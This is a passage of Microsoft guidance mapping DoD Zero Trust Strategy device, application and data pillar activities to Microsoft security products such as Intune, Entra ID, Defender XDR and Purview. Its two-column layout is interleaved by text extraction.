- Critical Services require dynamic access for devices
Advanced 2.4.4 Managed and Full BYOD & IOT Azure Virtual Desktop
Support Pt2 Deploy Azure Virtual Desktop (AVD) to
DoD Organizations utilize Unified Endpoint and support remote access from unmanaged
Device Management (UEDM) and similar solutions devices. Join AVD session host VMs to
to enable access for unmanaged devices meeting Microsoft Entra and manage compliance
device checks and standard baselines. All possible with Microsoft Intune. Allow sign-in to AVD
services/applications are integrated to allow access with passwordless or a passwordless
to managed devices. Unmanaged devices are phishing-resistant authenticator from
integrated with services/applications based on risk unmanaged devices.
driven methodical authorization approach. - Microsoft Entra joined VMs in AVD
- Authentication strength
Outcome:
- All possible services require dynamic access for Microsoft Defender for Cloud Apps
devices Use Defender for Cloud Apps session
control to monitor and restrict web
sessions from unmanaged devices.
- Session policies
2.5 Partially and fully automated asset,
vulnerability, and patch management
Microsoft Endpoint Manager supports cloud-based and hybrid (co-management)
solutions for device management. Configuration and compliance policies ensure devices
meet the patch level and security configuration requirements for your organization.
ﾉ Expand table

recommendations
Target 2.5.1 Implement Asset, Vulnerability, and Patch Microsoft Intune

Management Tools Manage devices in Intune.
DoD Organizations implement solution(s) for managing
assets/devices configurations, vulnerabilities, and patches. Using See Microsoft guidance in
minimum compliance standards (e.g., STIGs, etc.) teams can 2.1.4.
confirm or deny managed device compliance. As part of the
procurement and implementation process for solutions, APIs or Use Microsoft Endpoint
other programmatic interfaces will be in scope for future levels Manager co-management for
of automation and integration. legacy endpoint devices.
- Endpoint management
Outcomes: - Co-management
- Components can confirm if devices meet minimum compliance
standards or not Configure and update policies
- Components have asset management, vulnerability, and for device platforms managed
patching systems with APIs that will enable integration across with Intune.
the systems - iOS and iPadOS software
update policies
- macOS software update
policies
- Android FOTA updates
- Windows 10 and 11
updates/br>
Integrate Intune with
Endpoint to use Intune to
remediate endpoint
vulnerabilities.
2.6 Unified endpoint management and mobile

device management
Microsoft Intune configuration and compliance policies ensure devices meet
organizational security configuration requirements. Intune evaluates compliance policies
and marks devices as compliant or noncompliant. Conditional Access policies can use
device compliance state to block users with noncompliant devices from accessing
resources protected by Microsoft Entra ID.
Microsoft Entra External ID cross-tenant access settings include trust settings for guest
collaboration. These settings can be customized for each partner tenant. When you trust
compliant devices from another tenant, guests using compliant devices in their home
tenant satisfy Condtional Access policies requiring compliant devices in your tenant. You
don’t need to make exceptions to Conditional Access policies to avoid blocking external
guests.
ﾉ Expand table

recommendations
Target 2.6.1 Implement UEDM or equivalent tools Complete activity 2.3.2.

DoD Organizations will work closely with the
"Implement Asset, Vulnerability, and Patch Management Microsoft Intune
tools" activity to procure and implement and Unified Device compliance status is integrated
Endpoint and Device Management (UEDM) solution with the identity provider (IdP),
ensuring that requirements are integrated with the Microsoft Entra ID, by Intune
procurement process. Once a solution is procured the compliance signals in Conditional
UEDM team(s) ensure that critical ZT target Access. View device compliance status
functionalities such as minimum compliance, asset in the Microsoft Entra admin center or
management, and API support are in place. by using Microsoft Graph API.
- Compliance policies
Outcomes: - Intune reports
- Components can confirm if devices meet minimum
compliance standards or not Microsoft Entra External ID
- Components have asset management system(s) for To extend device compliance policies
user devices (phones, desktops, laptops) that maintains to users outside the organization,
IT compliance, which is reported up to DoD enterprise configure cross-tenant access settings
- Components asset management systems can to trust MFA and compliant device
programmatically, i.e., API, provide device compliance claims from trusted DoD tenants.
status and if it meets minimum standards - Cross-tenant access
Microsoft Graph API

Microsoft Graph APIs query device
compliance status.
- Compliance and privacy APIs
Target 2.6.2 Enterprise Device Management Pt1 Microsoft Intune and Conditional
DoD Organizations migrate the manual device inventory Access
to an automated approach using the Unified Endpoint Manage devices with Microsoft Intune.
and Device Management solution. Approved devices are Configure device compliance policies.
able to be managed regardless of location. Devices part Require compliant device Conditional
recommendations
of critical services are mandated to be managed by the Access policies.

Unified Endpoint and Device Management solution
supporting automation. See Microsoft guidance in 2.1.4.
Outcomes:
- Manual inventory is integrated with an automated
management solution for critical services
- Enable ZT Device Management (from any location with
or without remote access)
Target 2.6.3 Enterprise Device Management Pt2 Microsoft Intune and Conditional
DoD Organizations migrate the remaining devices to Access
Enterprise Device Management solution. EDM solution Manage devices with Intune. Configure
is integrated with risk and compliance solutions as device compliance policies. Require
appropriate. compliant device in Conditional Access
policies.
Outcome:
- Manual inventory is integrated with an automated See Microsoft guidance in 2.1.4.
management solution for all services
2.7 Endpoint and extended detection and

response (EDR and XDR)
The Microsoft Defender XDR unified defense suite coordinates detection, prevention,
investigation, and response across endpoints, identities, email, and applications.
Microsoft Defender XDR components detect and defend against sophisticated attacks.
Integration of Microsoft Defender XDR components extends protection beyond devices.

See example detection events that contribute to user risk level in Microsoft Entra ID
Protection:
Suspicious email-sending patterns detected by Microsoft Defender for Office

Impossible travel detections in Microsoft Defender for Cloud Apps
Attempts to access the primary refresh token detected by Microsoft Defender for
Endpoint
Risk-based Conditional Access policies can secure, limit, or block access to cloud
services for the risky user, even if they use a compliant device on a trusted network.
To learn more, see enable Microsoft Defender XDR components and what are risks?
ﾉ Expand table

recommendations
Target 2.7.1 Implement Endpoint Detection & Microsoft Defender for Endpoint
Response (EDR) Tools and Integrate with C2C Deploy Defender for Endpoint for end
DoD Organizations procure and implement Endpoint user devices.
Detection and Response (EDR) solution(s) within
environments. EDR is protecting, monitoring, and See Microsoft guidance 2.3.1 in this
responding to malicious and anomalous activities section.
enabling ZT Target functionality and is sending data to
the Comply to Connection solution for expanded device Microsoft Intune
and user checks. Configure Intune device compliance
policies. Include Defender for Endpoint
Outcomes: machine risk score for policy
- Endpoint Detection & Response Tooling is compliance.
implemented
- Critical EDR data is being sent to C2C for checks See Microsoft guidance 2.1.4. and in
- NextGen AV tooling covers maximum amount of 2.3.2.
Enable Microsoft Defender for Server
for subscriptions with virtual machines
(VMs) in Azure. Defender for Server
plans include Defender for Cloud for
servers.
- Defender for Servers
Use Azure Arc-enabled servers to

manage and protect Windows and
Linux physical servers and VMs outside
Azure. Deploy the Azure Arc agent for
servers hosted outside Azure. Onboard
Arc-enabled servers to a subscription
protected by Microsoft Defender for
Server.
- Azure Arc-enabled servers
- Azure Connected Machine agent
Target 2.7.2 Implement Extended Detection & Microsoft Defender XDR

Response (XDR) Tools and Integrate with C2C Pt1 Pilot and deploy Microsoft Defender
DoD Organizations procure and implement Extended XDR components and services.
Detection & Response (XDR) solution(s). Integration - Defender XDR
points with cross pillar capabilities are identified and - Sentinel and Defender XDR for Zero
prioritized based on risk. The riskiest of these Trust
integration points are actioned and integration is
started. EDR continues coverage of endpoints to include Configure integrations of deployed
the maximum number of services and applications as Microsoft Defender XDR components.
recommendations
part of the XDR implementation. Basic analytics are sent - Defender for Endpoint with Defender
from the XDR solution stack to the SIEM. for Cloud Apps
- Defender for Identity and Defender
Outcomes: for Cloud Apps
- Integration Points have been identified per Capability - Purview Information Protection and
- Riskiest integration points have been integrated w/ Defender for Cloud Apps
XDR
- Basic alerting is in place with SIEM and/or other Configure Sentinel data connectors for
mechanisms Microsoft Defender XDR. Enable
analytics rules.
- Install Defender XDR
- Connect Defender XDR data to
Sentinel
Advanced 2.7.3 Implement Extended Detection & Microsoft Defender XDR

Response (XDR) Tools and Integrate with C2C Pt2 Use Microsoft Defender XDR in your
XDR solution stack completes identification of security operations strategy.
integration points expanding coverage to the fullest - Integrate Defender XDR into security
amount possible. Exceptions are tracked and managed ops
using a risk based methodical approach for continued
operation. Extended analytics enabling ZT Advanced
functionalities are integrated into the SIEM and other
appropriate solutions.
Outcomes:
- Remaining integration points have been integrated as
appropriate
- Extended alerting and response is enabled with other
Analytics tools at least using SIEM
Next steps
Introduction
User
Device
Data
Network
Feedback
DoD Zero Trust Strategy for the
applications and workloads pillar
Article • 04/12/2024
Introduction
User
Device
Data
Network
3 Applications and workloads

in the applications and workloads pillar. To learn more, see Secure applications with Zero
Trust.
７ Note
Recommendations in this section align with the draft DoD Enterprise DevSecOps
Reference Design .
3.1 Application inventory

Microsoft Entra ID is an identity provider (IdP) for applications and cloud platforms, not
just Microsoft 365, and Azure. Microsoft Entra ID includes web portals and RESTful APIs
to retrieve lists of integrated applications. Microsoft Defender for Cloud Apps, a
component of Microsoft Defender XDR, has features to discover, inventory, and block
unsanctioned apps.
ﾉ Expand table

recommendations
Target 3.1.1 Application/Code Identification Microsoft Entra ID

DoD Organizations create an inventory of approved Use the Microsoft Entra admin center to
applications and code (e.g., source code, libraries, download a list of Microsoft Entra
etc.). Each organization will track the supportability registered applications. Select Download in
(i.e., active, legacy, etc.) and hosted location (i.e., the top ribbon.
cloud, on-premises, hybrid, etc.) at least in the - Application resource type
inventory.
If your organization uses Active Directory
Outcome: Federation Services (AD FS), deploy
- Component has identified applications and Microsoft Entra Connect Health. Use the
classified as either legacy, virtualized on-premises, application activity report to discover AD
and cloud hosted FS applications.
- Monitor AD FS with Connect Health
- Application activity report
Microsoft Defender Vulnerability

Management
Use software inventory in Defender
Vulnerability Management to view software
in your organization.
- Software inventory

Set up Cloud Discovery in Defender for
Cloud Apps to get a snapshot of
applications accessed by users.
- Set up Cloud Discovery
- Investigate apps
Microsoft Intune discovered apps

Intune discovered apps are detected by
Intune enrolled devices in the tenant. It’s a
software inventory of the tenant. On
corporate devices, apps or managed apps
aren’t collected for this report.
- Discovered apps
recommendations
Azure DevOps
Use this service for secure package
management. Developers share code and
manage packages in one place.
- Azure Artifacts
- Azure GitHub repos
3.2 Secure software development and

integration
GitHub features like GitHub Advanced Security (GHAS) and GitHub Actions help you
establish Zero Trust software development and deployment practices. GitHub Enterprise
Cloud integrates with Microsoft Entra ID to manage entitlement with Microsoft Entra ID
Governance and secure access with Conditional Access policies.
Developers can use Microsoft Authentication Libraries (MSAL) to integrate applications

with Microsoft Entra ID. For more information, see Authenticate users for Zero Trust.
ﾉ Expand table

recommendations
Target 3.2.1 Build DevSecOps Software Factory Pt1 GitHub Actions

The DoD enterprise creates the foundational standards for GitHub Actions uses continuous
modern DevSecOps processes and CI/CD pipelines. The integration and continuous delivery
concepts are applied in a standardized technology stack (CI/CD) to automate deployment
across DoD organizations able to meet future Application pipelines.
Security requirements. An enterprise-wide Vulnerability - GitHub Actions
Management program is integrated with the CI/CD
pipelines following the Vulnerability Management GitHub Advanced Security
Program activities. Use GitHub Advanced Security for
GitHub and Azure DevOps to
Outcomes: enhance the security of your code
- Developed Data/Service Standards for DevSecOps and development processes.
- CI/CD Pipeline is fully functional and tested successfully - Advanced Security
- Vulnerability Management program is officially in place - Advanced Security for Azure
and operating DevOps
Microsoft Entra SSO and

provisioning
Configure single sign-on (SSO) for
Git tools using Microsoft Entra ID.
recommendations
- SSO integration with GitHub

Enterprise Cloud organization
- SSO integration with GitHub
Enterprise Server
- Connect an organization to
Microsoft Entra ID
To learn more about DevSecOps for

Azure and other clouds, see the DoD
Cheif Information Officer (CIO)
Library .
Target 3.2.2 Build DevSecOps Software Factory Pt2 GitHub Advanced Security
DoD Organizations will use their approved CI/CD Use GitHub Advanced Security to
pipelines to develop most new applications. Any scan for code dependencies and
exceptions will follow a standardized approval process to vulnerabilities. Configure periodic
be allowed to develop in a legacy fashion. DevSecOps builds to assess code quality.
processes are also used to develop all new applications - Advanced Security
and update existing applications. Continual validation - CodeQL code scanning
functions are integrated into the CI/CD pipelines and - Secure supply chain
DevSecOps processes and integrated with existing
applications. Bicep in Azure
Provision cloud infrastructure using
Outcomes: infrastructure-as-code (IaC) with
- Development of applications is migrated to CI/CD Azure Resource Manager (ARM) and
pipeline Bicep templates.
- Continual validation process/technology is implemented - Bicep
and in use
- Development of applications is migrated to DevSecOps Microsoft Defender for Cloud
process and technology Enable Defender for Cloud workload
protections for subscriptions with
application workloads.
- Protect cloud workloads
Microsoft Defender for DevOps

Use Defender for DevOps to monitor
security and alerts of pipelines in
Azure DevOps (ADO) and GitHub.
- Defender for DevOps
Target 3.2.3 Automate Application Security & Code Azure Application Gateway
Remediation Pt1 Put publicly accessible web
A standardized approach to application security including applications and APIs with Azure
code remediation is implemented across the DoD Application Gateway and Web
enterprise. Part one (1) of this activity includes the Application Firewall.
recommendations
integration of a Secure API gateway with applications - Web Application Firewall

utilizing API or similar calls. Code reviews are conducted
in a methodical approach and standardized protections Microsoft Entra ID applications
for containers and their infrastructure are in place. Microsoft Entra ID is an authorization
Additionally, any serverless functions where the third- gateway for web application and API
party manages the infrastructure such as Platform as a access. Expose APIs for registered
Service utilize adequate serverless security monitoring applications using Microsoft Entra.
and response functions. Code Reviews, Container, and Use built-in authentication and
Serverless security functions are integrated into the CI/CD authorization (Easy Auth) in Azure
and/or DevSecOps process as appropriate. App Service and Azure Functions. For
Microsoft Entra ID-unaware APIs, use
Outcomes: OAuth Authorization in Azure API
- Secure API Gateway is operational, and majority of API management.
calls are passing through gateway - Configure an app to expose Web
- Application Security functions (e.g., code review, API
container, and serverless security) are implemented as - Authenticate and authorize in
part of CI/CD and DevSecOps Azure App Service and Azure
Functions
- Authenticate and authorize to APIs
GitHub Advanced Security

Use GitHub Advanced Security for
GitHub and Azure DevOps.
Microsft Defender for Cloud

Enable Defender for Cloud workload
protections for Azure subscriptions
with API workloads.
Advanced 3.2.4 Automate Application Security & Code Complete activities 3.2.2 and 3.2.3.
Remediation Pt2
DoD Organizations modernize approaches to delivering
internally developed and managed services following best
practice approaches such as Microservices. These
approaches will enable more resilient and secure
architectures by allowing for quicker changes to code in
each microservice as security issues are discovered.
Further advancement security remediation activities
continue across the DoD Enterprise with the inclusion of
runtime security functions for containers as appropriate,
automated vulnerable library updates and automated
CI/CD approvals during the release process.
recommendations
Outcomes:
- Secure API Gateway is operational and majority of API
calls are passing through gateway
- Services are provided following a Service Oriented
Architecture (SOA)
- Security Remediation activities (e.g., runtime security,
library updates, release approvals) are fully automated
3.3 Software risk management

GitHub Actions help automate, customize, and execute software development workflows
for DevSecOps. With GitHub Actions, generate a software bill of materials (SBOM),
analyze code, and scan for supply chain and dependency vulnerabilities. To learn more
about GitHub Actions, see GitHub Actions.
ﾉ Expand table

recommendations
Target 3.3.1 Approved Binaries/Code GitHub Actions

The DoD enterprise uses best practice approaches to manage Standardize DevSecOps
approved binaries and code in a methodical approach. These processes to generate a software
approaches will include supplier sourcing risk management, bill of materials (SBOM) with a
approved repository usage, bill of materials supply chain risk continuous integration and
management, and industry standard vulnerability continuous delivery (CI/CD)
management. pipeline.
- Generate software bills of
Outcomes: materials
- Supplier sourcing risk evaluated and identified for approved
source Use GitHub Dependabot and
- Repository and update channel established for use by CodeQL to automate security
development teams checks and scan for dependency
- Bill of Materials is created for applications identify source, vulnerabilities.
supportability, and risk posture - CodeQL code scanning
- Industry standard (DIB) and approved vulnerability - Secure supply chain
databases are pulled in to be used in DevSecOps
Windows Defender Application
Control
Use Windows Defender
Application Control to prevent
untrusted code from executing
recommendations
on managed endpoints.
- Application Control and App
locker
- Platform code integrity
Target 3.3.2 Vulnerability Management Program Pt1 Threat and Vulnerability

The DoD enterprise works with Organizations to establish and Management
manage a Vulnerability Management program. The program VM capabilities enable asset
includes a policy and standards agreed upon by all visibility, and intelligent
Organizations. The developed program includes at a minimum assessments. TVM has built-in
the track and management of public vulnerabilities based on remediation tools for endpoints
DoD applications/services. Organizations establish a and servers. Use TVM with a
vulnerability management team with key stakeholders where vulnerability management
vulnerabilities are discussed and managed following the program.
enterprise policy and standards. - Microsoft Defender TVM
Outcomes: Microsoft cloud security

- Vulnerability Management Team is in place w/ appropriate benchmark
stakeholder membership Review how Microsoft online
- Vulnerability Management policy and process is in place and services conduct vulnerability
agreed to w/ stakeholders management.
- Public source of vulnerabilities are being utilized for tracking - TVM overview
- Posture and vulnerability
management
Target 3.3.3 Vulnerability Management Program Pt2 Threat and Vulnerability

Processes are established at the DoD Enterprise level for Management
managing the disclosure of vulnerabilities in DoD Use the weaknesses page in
maintained/operated services both publicly and privately Microsoft Defender TVM to
accessible. DoD Organizations expand the vulnerability identify and prioritize
management program to track and manage closed vulnerabilities discovered on
vulnerability repositories such as DIB, CERT, and others. your organization’s devices and
servers.
Outcomes: - Vulnerabilities in the
- Controlled (e.g., DIB, CERT) sources of vulnerabilities are organization
being utilized for tracking
- Vulnerability management program has a process for Track remediation activities using
accepting external/public disclosures for managed services the TVM vulnerable devices
report.
- Vulnerable device report
Target 3.3.4 Continual Validation Azure Chaos Studio

DoD Organizations will implement a continual validation Use Azure Chaos Studio to
approach for application development where parallel validate workloads.
deployment is conducted and integrated with an approved - Continuous validation
recommendations
environment level (e.g., user acceptance testing, Production).

Applications unable to integrate continual validation into their GitHub Advanced Security
CI/CD process are identified and exceptions are provided as Use GitHub features and actions
needed using a methodical approach. for vulnerability management in
the DoD Enterprise DevSecOps
Outcomes: Reference Design.
- Updated Applications are deployed in a live and/or
production environment See Microsoft guidance in 3.2.1.
- Applications that were marked for retirement and transition
are decommissioned
- Continual validation tools are implemented and applied to
code in the CI/CD pipeline
- Code requiring continuous validation is identified and
validation criteria are established
3.4 Resource authorization and integration

Conditional Access is the Zero Trust policy engine in Microsoft Entra ID. Connect your
application workloads with Microsoft Entra ID. Use Microsoft Entra ID Governance to
manage entitlements and secure sign ins with Conditional Access policies. The policies
use security attributes, like device health, session details, and risk to make adaptive
access decisions. Microsoft Entra ID, Azure Resource Manager, and CI/CD pipelines
authorize resource deployment in Azure.
ﾉ Expand table

recommendations
Target 3.4.1 Resource Authorization Pt1 Microsoft Entra ID

The DoD enterprise standardizes on resource authorization Microsoft Entra is an
approaches (e.g., Software Defined Perimeter) with the authorization gateway for
organizations. At a minimum, the resource authorization application resources. Integrate
gateways will be integrated with identities and devices. modern and legacy applications
Organizations deploy approved resource authorization for SSO with Microsoft Entra.
gateways and enable for external facing applications/services.
Other applications for migration and applications unable to be See Microsoft guidance 1.2.4 in
migrated are identified for exception or decommission. User.
Outcomes: Microsoft Entra ID Governance

- Resource Authorization Gateway is in place for external Use Microsoft Entra ID
facing applications Governance app roles for access
- Resource Authorization policy integrated with identity and to applications. Assign users to
recommendations
device app roles using static

- Enterprise-wide guidance on conversion standards are membership, dynamic Microsoft
communicated to stakeholders Entra security groups, or
entitlement management access
packages.
- Add app roles to an app and
receive them in a token
- Role-based access control
Conditional Access
Use Conditional Access policies
to dynamically authorize,
control, or block application
access.
See Microsoft guidance 1.8.3 in

User and 2.1.4 in Device.

Enable publicly accessible web
applications and APIs with
Application Gateway and Web
Application Firewall.
Target 3.4.2 Resource Authorization Pt2 Microsoft Entra Workload ID

Resource authorization gateways are used for all possible Use Workload identity
applications/services. Applications unable to utilize gateways federation to configure a user-
are either decommissioned or excepted using a risk based assigned managed identity, or
methodical approach. Authorizations are further integrated app registration to trust tokens
with the CI/CD pipeline for automated decision making. from an external identity
provider (IdP). Use the federated
Outcomes: workload identity for GitHub
- Resource Authorization gateway is utilized for all applications Actions workflows.
- Resource Authorization is integrated with DevSecOps and - Workload identity federation
CI/CD for automated functions
Azure API Management
Use Azure API Management to
manage, authorize, and expose
services hosted on and outside
Azure as APIs.
- Azure API Management
recommendations
Target 3.4.3. SDC Resource Authorization Pt1 Secure development

The DoD enterprise provides a standardized approach for Design, develop, and deploy
code-based compute management (i.e., Software Defined Azure applications following the
Compute) following industry best practices. Using risk-based security development lifecycle
approaches baselines are created using the approved set of and published best practices.
code libraries and packages. DoD Organizations work with the - Secure development
approved code/binaries activities to ensure that applications - Infrastructure as code
are identified which can and can't support the approach. - Azure Policy as code
Applications which can support a modern software-based workflows
configuration and management approaches are identified and
transitioning begins. Applications which cannot follow Microsoft Entra ID
software-based configuration and management approaches Use the Microsoft identity
are identified and allowed through exception using a platform for application
methodical approach. authentication and
authorization.
Outcomes: - Migrate apps and
- Applications unable to be updated to use approved authentication
binaries/code are marked for retirement and transition plans
are created Azure Migrate
- Identified applications without approved binaries and code Migrate to modern app
are updated to use approved binaries/code platforms like Azure Kubernetes
- Enterprise-wide Guidance on conversion standards are Service (AKS) and App Service
communicated to stakeholders containers.
- Migrate workloads to modern
app platforms
- Assess ASP.NET apps for
migration to AKS
- Assess ASP.NET apps for
migration to Azure App Service
Target 3.4.4 SDC Resource Authorization Pt2 Azure Migrate

Applications which support software-based configuration and Containerize and migrate
management have been transitioned to a production/live ASP.NET apps and Java web
environment and are in normal operations. Where possible apps using the Azure Migrate:
applications which cannot support software-based App Containerization tool.
configuration and management are decommissioned. Decommission applications that
can't be modernized.
Outcomes: - ASP.NET app containerization
- Updated Applications are deployed in a live and/or and migration to AKS
production environment - ASP.NET app containerization
- Applications that were marked for retirement and transition and migration to Azure App
are decommissioned Service
- Java web app containerization
and migration to AKS
- Java web app containerization
recommendations
and migration to Azure App

Service
Advanced 3.4.5 Enrich Attributes for Resource Authorization Microsoft Entra applications
Pt1 Use Microsoft Entra ID to
Initial attributes from sources such as User and Entity Activity authorize modern applications
Monitoring, Micro-segmentation services, DLP, and data rights and APIs. Deploy Microsoft
management (DRM) are integrated into the Resource Entra application proxy and
Authorization technology stack and policy. Any other Azure Arc-enabled servers to
attributes for later integration are identified and planned. extend Microsoft Entra ID to
Attributes are used to create basic risk posture of users, legacy authentication protocols.
nonperson entities (NPEs), and devices allowing for
authorization decisions. See Microsoft guidance in 3.1.1
and in 3.2.3.
Outcomes:
- Most API calls are passing through the Secure API Gateway Conditional Access
- Resource Authorization receives data from Analytics Engine Microsoft Entra is a secure
- Authorization policies incorporate identified attributes in gateway for resource
making authorization decisions authorization. Conditional
- Attributes to be used for initial enrichment are identified Access is the authorization
engine. Configure policies for
detailed authorization using
user, application, user,
environment conditions,
including device- compliance
status.
- Conditional Access
- Conditional Access design
- Require compliant devices
Dynamic security groups

Create dynamic security groups
based on user attributes. Use
dynamic groups to scope
Conditional Access policies for
static attribute authorization,
based on user attributes.
- Dynamic membership for
groups
- Users, groups, and workload
identities
Microsoft Purview sensitive

information types
Define sensitive information
types with Exact Data Match
recommendations
(EDM). Use sensitive info types

with Microsoft Purview
Information Protection and
Purview data loss prevention
(DLP) policies.
- Data match based on sensitive
info types
- Discover and protect sensitive
info

Use Microsoft Entra ID
Governance for access to
applications with app roles.
Assign users to app roles with
static membership, dynamic
security groups, or entitlement
management access packages.
- Add app roles and receive
them in a token
- Role-based access control
Advanced 3.4.6. Enrich Attributes for Resource Authorization Microsoft Entra ID Protection
Pt2 Use sign-in risk and user signals
Extended identified attributes are integrated with the resource from Microsoft Entra ID
authorization technology and policy. Confidence scoring is Protection in a Conditional
introduced across the attributes to create a more advanced Access policy set. Configure
method of authorization decision making in an automated authentication context including
fashion. risk to establish confidence
levels, based on environmental
Outcomes: details and risk level.
- Authorization policies incorporate confidence levels in - Microsoft Entra ID risks
making authorization decisions - Policy template: sign-in risk
- Confidence levels for attributes are defined MFA
example
See Microsoft guidance 1.3.3 in

User.
Custom security attributes

Manage and assign custom
security attributes for Microsoft
Entra ID users. Use role
assignment conditions for
dynamic attribute-based access
recommendations
control (ABAC).
Advanced 3.4.7. REST API Micro-Segments Azure networking and

Using the DoD Enterprise approved API gateway(s), application connectivity
calls are micro-segmented only allowing authenticated and Isolate, filter, and control
authorized access to specific destinations (e.g., microservices). network traffic across ingress
When possible, API Micro-Segmentation consoles are and egress flows. Apply
integrated and aware of other Micro-Segmentation consoles defense-in-depth principles
such as Software Defined Perimeter Controllers and/or using localized network controls
Software Defined Networking Consoles. at available network boundaries.
Follow the Azure Well-
Outcome: Architected Framework.
- Approved enterprise APIs are Micro-Segmented - Networking and connectivity
appropriately recommendations
- Segmentation strategy
recommendations
API design
Follow recommended practices
to design APIs for microservices.
Protect and authorize APIs with
Microsoft Entra ID.
- Microservice APIs
- Protect APIs
3.5 Continuous monitoring and ongoing

authorizations
Microsoft Defender for Cloud security standards continually assess in-scope Azure
subscriptions, Amazon Web Services (AWS) accounts, and Google Cloud Platform (GCP)
projects with Defender for Cloud enabled for compliance with regulatory standards.
ﾉ Expand table

recommendations
Advanced 3.5.1 Continuous Authorization to DoD Chief Information Officer (CIO)

Operate (cATO) Pt1 Library
DoD Organizations utilize automation solutions Integrate monitoring and testing into
within the environment to standardize the DevSecOps processes. See the DoD
recommendations
monitoring of controls and offer the capability to Enterprise DevSecOps Reference Design
identify deviations. Where appropriate monitoring - DoD CIO Library
and testing are integrated with DevSecOps
processes. Microsoft Defender for Cloud
Protect Azure and non-Azure workloads
Outcomes: with Defender for Cloud. Use regulatory
- Controls derivation is standardized and ready for compliance and Azure Policy initiatives to
automation assess infrastructure continuously with
- Controls testing is integrated with DevSecOps configuration standards. Prevent
processes and technology configuration drift.
- Assign security standards
- Multicloud environments
Microsoft Sentinel
Automate Sentinel integration and
deployment operations with GitHub and
Azure DevOps.
- Sentinel and Azure DevOps integration
- Deploy custom content from a repository
Advanced 3.5.2 Continuous Authorization to Microsoft Defender Threat and

Operate (cATO) Pt2 Vulnerability Management
DoD Organizations fully automate control Incorporate Threat and Vulnerability
derivation, testing and monitoring processes. Management (TVM) in your vulnerability
Deviations are automatically tested and resolved management program.
using existing cross pillar automation infrastructure.
Dashboarding is used to monitor the status of See Microsoft guidance in 3.3.2.
authorizations and analytics are integrated with the
responsible authorizing officials.< /br> Azure DevOps and Microsoft Sentinel
Outcomes: Automate Sentinel integration and
- Controls testing is fully automated deployment operations with Azure
- Integration with standard IR and SOC operations is DevOps.
automated - Sentinel integration with Azure DevOps
Microsoft Defender XDR and Sentinel

Integrate Microsoft Defender XDR and
Defender for Cloud with Sentinel.
- Sentinel and Defender XDR for Zero Trust
Next steps
Introduction
User
Device
Data
Network
Feedback
DoD Zero Trust Strategy for the data
pillar
Article • 04/12/2024
Introduction
User
Device
Data
Network
4 Data
in the data pillar. To learn more, see Secure data with Zero Trust for more information.
4.1 Data catalog risk alignment

Microsoft Purview solutions help discover, identify, govern, protect, and manage data
where it resides. Microsoft Purview provides three to identify items so that they can be
classified. Items can be classified manually, by users, via automated pattern recognition,
as with sensitive information types, and via machine learning.
ﾉ Expand table
Target 4.1.1 Data Analysis Microsoft Purview

DoD Organizations update the service and Review sensitive information types in Microsoft
application catalog(s) with data Purview compliance portal and define custom,
classifications. Data tags are also added to sensitive information types.
each service and application. - Custom sensitive info types in Purview compliance
portal
Outcome:
- The service catalog is updated with data Use Purview content explorer or activity explorer to
types for each application and service view a snapshot of labeled Microsoft 365 content
based on data classification levels and view associated user activities.
- Content explorer
- Activity explorer

Integrate Microsoft Purview Information Protection
to apply sensitivity labels to data that matches
policies. Investigate potential sensitive data exposure
across cloud applications.
- Integrate Information Protection
Microsoft Purview Data Catalog

Browse the Purview Data Catalog to explore the data
in your data estate.
- Purview Data Catalog
4.2 DoD enterprise data governance

Microsoft Purview Information Protection uses sensitivity labels. You can create
sensitivity labels relevant to your organization, control which labels are visible for users,
and define the label scope. Scope labels to files, emails, meetings, Microsoft Teams,
SharePoint sites, and more. Labels protect content with encryption, limit external
sharing, and prevent data loss.
ﾉ Expand table
Target 4.2.1 Define Data Tagging Standards Microsoft Purview

The DoD Enterprise works with organizations to Create and publish sensitivity labels in
establish data tagging and classification Microsoft Purview, according to data tagging
standards based on industry best practices. standards you define.
Classifications are agreed upon and - Sensitivity labels and policies
implemented in processes. Tags are identified - Sensitivity labels in Microsoft 365
as manual and automated for future activities.
Outcomes:
- Enterprise data classification and tagging
standards are developed
- Organizations align to enterprise standards
and begin implementation
Target 4.2.2 Interoperability Standards Azure Rights Management

The DoD Enterprise collaborating with the Use Azure RMS for data rights management
organizations develops interoperability (DRM) and protection interoperability across
standards integrating mandatory Data Rights DoD entities collaborating with Microsoft 365
Management (DRM) and Protection solutions services.
with necessary technologies to enable ZT target - Azure RMS
functionality. - Apps that support sensitivity labels
Outcome:
- Formal standards are in place by the
enterprise for the appropriate data standards
Target 4.2.3 Develop Software Defined SharePoint Online

Storage (SDS) Policy Use SharePoint Online and OneDrive for
The DoD enterprise working with organizations Business as a standard interoperable software
establishes a software define storage (SDS) design storage (SDS) solution. Restrict access
policy and standards based on industry best to sensitive SharePoint Online sites and content
practices. DoD organizations evaluate current with site access restriction policies. Prevent
data storage strategy and technology for guest access to files while data loss prevention
implementation of SDS. Where appropriate (DLP) rules are applied.
storage technology is identified for SDS - Restrict site access to group members
implementation. - Prevent guest access to files with DLP rules
- Secure guest sharing
Outcomes:
- Determine need for SDS tool implementation Microsoft Defender for Cloud Apps
- Policy for SDS is created at the enterprise and Use Defender for Cloud Apps to block access
org levels to unauthorized cloud storage services.
- Govern discovered apps
4.3 Data labeling and tagging

Microsoft Purview Information Protection automatically classifies data based on
sensitive information types you define. Policies for service- and client-side labeling
ensure Microsoft 365 content created by your users is labeled and protected.
ﾉ Expand table

recommendations
Target 4.3.1 Implement Data Tagging & Classification Tools Microsoft Purview Information
DoD organizations utilize the enterprise standard and Protection
requirements to implement data tagging and classification Use Microsoft Purview Information
solution(s). Organizations ensure that future ML and AI Protection to classify data based
integrations are supported by solutions through DoD on sensitive information types,
enterprise requirements. and classifiers trained by machine
learning (ML).
Outcomes: - Sensitive data and Purview
- A requirement of Data classification and tagging tools - Label policies
must include integration and/or support of Machine
Learning (ML)
- Data classification and tagging tools are implemented at
org and enterprise levels
Target 4.3.2 Manual Data Tagging Pt1 Microsoft Purview

Using the DoD enterprise data tagging and classification Create and publish sensitivity
policy and standards, manual tagging starts using basic data labels in Microsoft Purview,
level attributes to meet ZT target functionality. according to data tagging
standards you define.
Outcome:
- Manual data tagging begins at the enterprise level with See Microsoft guidance in 4.2.1.
basic attributes
Configure a labeling policy to
require users to apply sensitivity
labels to emails and documents.
- Users apply labels to email and
documents
Advanced 4.3.3 Manual Data Tagging Pt2 Microsoft Purview

DoD organizational specific data level attributes are Review the sensitive information
integrated into the manual data tagging process. DoD types in the Microsoft Purview
enterprise and organizations collaborate to decide which compliance portal. Define custom
attributes are required to meet ZTA advanced functionality. sensitive information types as
Data level attributes for ZTA advanced functionality are needed.
